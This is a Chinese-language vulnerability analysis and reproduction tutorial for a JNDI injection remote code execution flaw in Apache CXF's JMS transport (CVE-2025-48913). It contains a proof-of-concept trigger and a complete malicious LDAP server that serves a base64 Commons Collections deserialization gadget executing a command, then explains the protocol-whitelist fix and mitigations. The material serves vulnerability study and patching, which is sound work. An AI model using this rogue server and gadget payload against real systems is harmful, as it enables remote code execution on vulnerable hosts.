Apache CXF RCE(CVE-2025-48913)漏洞分析
字数 1488 2025-12-04 12:14:14

Apache CXF RCE漏洞(CVE-2025-48913)分析与复现教学文档

漏洞概述

漏洞名称:Apache CXF JMS传输模块JNDI注入远程代码执行漏洞
CVE编号:CVE-2025-48913
影响组件:Apache CXF JMS传输模块
漏洞类型:JNDI注入导致的远程代码执行
威胁等级:高危

漏洞描述

Apache CXF是一款开源的Web服务框架,用于构建和消费基于多种协议的Web服务。其中JMS传输模块专门负责与消息中间件进行集成通信。

在受影响版本中,JMS传输模块的JndiHelper类在初始化JNDI环境时,未对外部传入的java.naming.provider.url配置项进行安全校验。攻击者若能控制此配置项,可将其指向一个恶意的RMI或LDAP服务地址,导致后续的JNDI查找操作加载并执行远程服务器上的恶意代码,从而实现远程代码执行。

受影响版本

  • Apache CXF 4.1.2及之前版本
  • 其他使用JMS传输模块的受影响版本

环境搭建

Maven项目配置

创建Spring Boot项目,在pom.xml中添加以下依赖:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>ctf.challenge</groupId>
    <artifactId>cxf</artifactId>
    <version>1.0-SNAPSHOT</version>
    
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.3</version>
        <relativePath/>
    </parent>
    
    <properties>
        <java.version>17</java.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    
    <repositories>
        <repository>
            <id>aliyun-maven</id>
            <name>Aliyun Maven</name>
            <url>https://maven.aliyun.com/repository/public</url>
        </repository>
    </repositories>
    
    <dependencies>
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-spring-boot-starter-jaxrs</artifactId>
            <version>4.1.2</version>
        </dependency>
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-transports-jms</artifactId>
            <version>4.1.2</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
</project>

漏洞分析

漏洞触发点分析

1. JndiHelper类分析

漏洞核心位于org.apache.cxf.transport.jms.util.JndiHelper类:

package org.apache.cxf.transport.jms.util;

import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NameNotFoundException;
import javax.naming.NamingException;

public class JndiHelper {
    private Properties environment;
    
    public JndiHelper(Properties environment) {
        this.environment = environment;
    }
    
    public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
        Context ctx = new InitialContext(this.environment);
        Object var5;
        try {
            Object located = ctx.lookup(name);
            if (located == null) {
                throw new NameNotFoundException("JNDI object with [" + name + "] not found");
            }
            var5 = located;
        } finally {
            ResourceCloser.close(ctx);
        }
        return var5;
    }
}

关键问题:构造函数直接接收外部传入的Properties对象,未对java.naming.provider.url进行安全校验。

2. 调用链分析

漏洞触发调用链如下:

  1. JMSConfiguration#getConnectionFactoryFromJndi方法
private ConnectionFactory getConnectionFactoryFromJndi() {
    if (this.getJndiEnvironment() != null && this.getConnectionFactoryName() != null) {
        try {
            return (ConnectionFactory)(new JndiHelper(this.getJndiEnvironment()))
                .lookup(this.getConnectionFactoryName(), ConnectionFactory.class);
        } catch (NamingException var2) {
            throw new RuntimeException(var2);
        }
    } else {
        return null;
    }
}
  1. JMSConfiguration#getConnectionFactory方法调用上述私有方法。

漏洞利用原理

攻击者通过控制JNDI环境配置,将java.naming.provider.url指向恶意RMI或LDAP服务器。当JndiHelper执行lookup操作时,会连接到攻击者控制的服务器并加载恶意序列化对象,导致远程代码执行。

漏洞复现

1. 漏洞验证Demo

import java.util.Properties;
import javax.naming.Context;
import org.apache.cxf.transport.jms.JMSConfiguration;

public class Main {
    public static void main(String[] args) throws Exception {
        // 配置恶意JNDI环境
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:9999");
        env.put(Context.REFERRAL, "follow"); // 允许引用跟随
        
        JMSConfiguration jmsConfig = new JMSConfiguration();
        jmsConfig.setJndiEnvironment(env);
        jmsConfig.setConnectionFactoryName("BS");
        
        try {
            jmsConfig.getConnectionFactory();
            System.out.println("❌ 未触发安全防护(漏洞存在)");
        } catch (Exception e) {
            System.out.println("✔ 捕获到异常: " + e.getMessage());
        }
    }
}

2. 恶意LDAP服务器搭建

package org.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] tmp_args) {
        String[] args = new String[]{"http://127.0.0.1/#BS"};
        int port = 9999;
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            // 使用Commons Collections Gadget
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"));
            
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

3. 复现步骤

  1. 启动恶意LDAP服务器
  2. 运行漏洞验证Demo
  3. 观察是否成功触发命令执行

注意:复现需要在JDK 17环境下进行,低版本JDK有默认的JNDI注入防护。

漏洞修复

修复方案分析

修复版本在JndiHelper类的构造函数中增加了安全检查逻辑:

private static final List<String> ALLOWED_PROTOCOLS = Arrays.asList(
    "vm://", "tcp://", "nio://", "ssl://", "http://", "https://", "ws://", "wss://");

public JndiHelper(Properties environment) {
    this.environment = environment;
    String providerUrl = environment.getProperty("java.naming.provider.url");
    
    if (providerUrl != null) {
        Stream var10000 = ALLOWED_PROTOCOLS.stream();
        Objects.requireNonNull(providerUrl);
        if (!var10000.anyMatch(providerUrl::startsWith)) {
            throw new IllegalArgumentException("Unsafe protocol in JNDI URL: " + providerUrl);
        }
    }
}

修复要点

  1. 协议白名单:只允许安全的协议(vm、tcp、nio、ssl、http、https、ws、wss)
  2. 早期拦截:在构造函数阶段进行校验,避免后续lookup操作
  3. 明确异常:检测到不安全协议时抛出IllegalArgumentException

验证修复效果

使用修复后的版本运行Demo,将看到以下输出:

✔ 捕获到异常: Unsafe protocol in JNDI URL: ldap://127.0.0.1:9999
🎉 CXF的JNDI协议保护生效

防护建议

  1. 升级版本:立即升级到修复版本
  2. 输入验证:对用户输入的JNDI配置进行严格校验
  3. 网络隔离:限制出站网络连接,特别是LDAP/RMI协议
  4. 最小权限:使用最小权限原则运行应用程序

参考链接

总结

CVE-2025-48913是一个典型的JNDI注入漏洞,通过控制JMS配置中的JNDI参数实现RCE。修复方案采用了协议白名单机制,有效阻止了不安全协议的利用。开发人员应重视第三方组件中JNDI相关功能的安全性,及时更新组件版本并实施纵深防御策略。

Apache CXF RCE漏洞(CVE-2025-48913)分析与复现教学文档 漏洞概述 漏洞名称 :Apache CXF JMS传输模块JNDI注入远程代码执行漏洞 CVE编号 :CVE-2025-48913 影响组件 :Apache CXF JMS传输模块 漏洞类型 :JNDI注入导致的远程代码执行 威胁等级 :高危 漏洞描述 Apache CXF是一款开源的Web服务框架,用于构建和消费基于多种协议的Web服务。其中JMS传输模块专门负责与消息中间件进行集成通信。 在受影响版本中,JMS传输模块的JndiHelper类在初始化JNDI环境时,未对外部传入的 java.naming.provider.url 配置项进行安全校验。攻击者若能控制此配置项,可将其指向一个恶意的RMI或LDAP服务地址,导致后续的JNDI查找操作加载并执行远程服务器上的恶意代码,从而实现远程代码执行。 受影响版本 Apache CXF 4.1.2及之前版本 其他使用JMS传输模块的受影响版本 环境搭建 Maven项目配置 创建Spring Boot项目,在 pom.xml 中添加以下依赖: 漏洞分析 漏洞触发点分析 1. JndiHelper类分析 漏洞核心位于 org.apache.cxf.transport.jms.util.JndiHelper 类: 关键问题 :构造函数直接接收外部传入的Properties对象,未对 java.naming.provider.url 进行安全校验。 2. 调用链分析 漏洞触发调用链如下: JMSConfiguration#getConnectionFactoryFromJndi方法 : JMSConfiguration#getConnectionFactory方法 调用上述私有方法。 漏洞利用原理 攻击者通过控制JNDI环境配置,将 java.naming.provider.url 指向恶意RMI或LDAP服务器。当JndiHelper执行lookup操作时,会连接到攻击者控制的服务器并加载恶意序列化对象,导致远程代码执行。 漏洞复现 1. 漏洞验证Demo 2. 恶意LDAP服务器搭建 3. 复现步骤 启动恶意LDAP服务器 运行漏洞验证Demo 观察是否成功触发命令执行 注意 :复现需要在JDK 17环境下进行,低版本JDK有默认的JNDI注入防护。 漏洞修复 修复方案分析 修复版本在JndiHelper类的构造函数中增加了安全检查逻辑: 修复要点 协议白名单 :只允许安全的协议(vm、tcp、nio、ssl、http、https、ws、wss) 早期拦截 :在构造函数阶段进行校验,避免后续lookup操作 明确异常 :检测到不安全协议时抛出IllegalArgumentException 验证修复效果 使用修复后的版本运行Demo,将看到以下输出: 防护建议 升级版本 :立即升级到修复版本 输入验证 :对用户输入的JNDI配置进行严格校验 网络隔离 :限制出站网络连接,特别是LDAP/RMI协议 最小权限 :使用最小权限原则运行应用程序 参考链接 Apache CXF官方GitHub CVE-2025-48913漏洞详情 JMS示例项目 总结 CVE-2025-48913是一个典型的JNDI注入漏洞,通过控制JMS配置中的JNDI参数实现RCE。修复方案采用了协议白名单机制,有效阻止了不安全协议的利用。开发人员应重视第三方组件中JNDI相关功能的安全性,及时更新组件版本并实施纵深防御策略。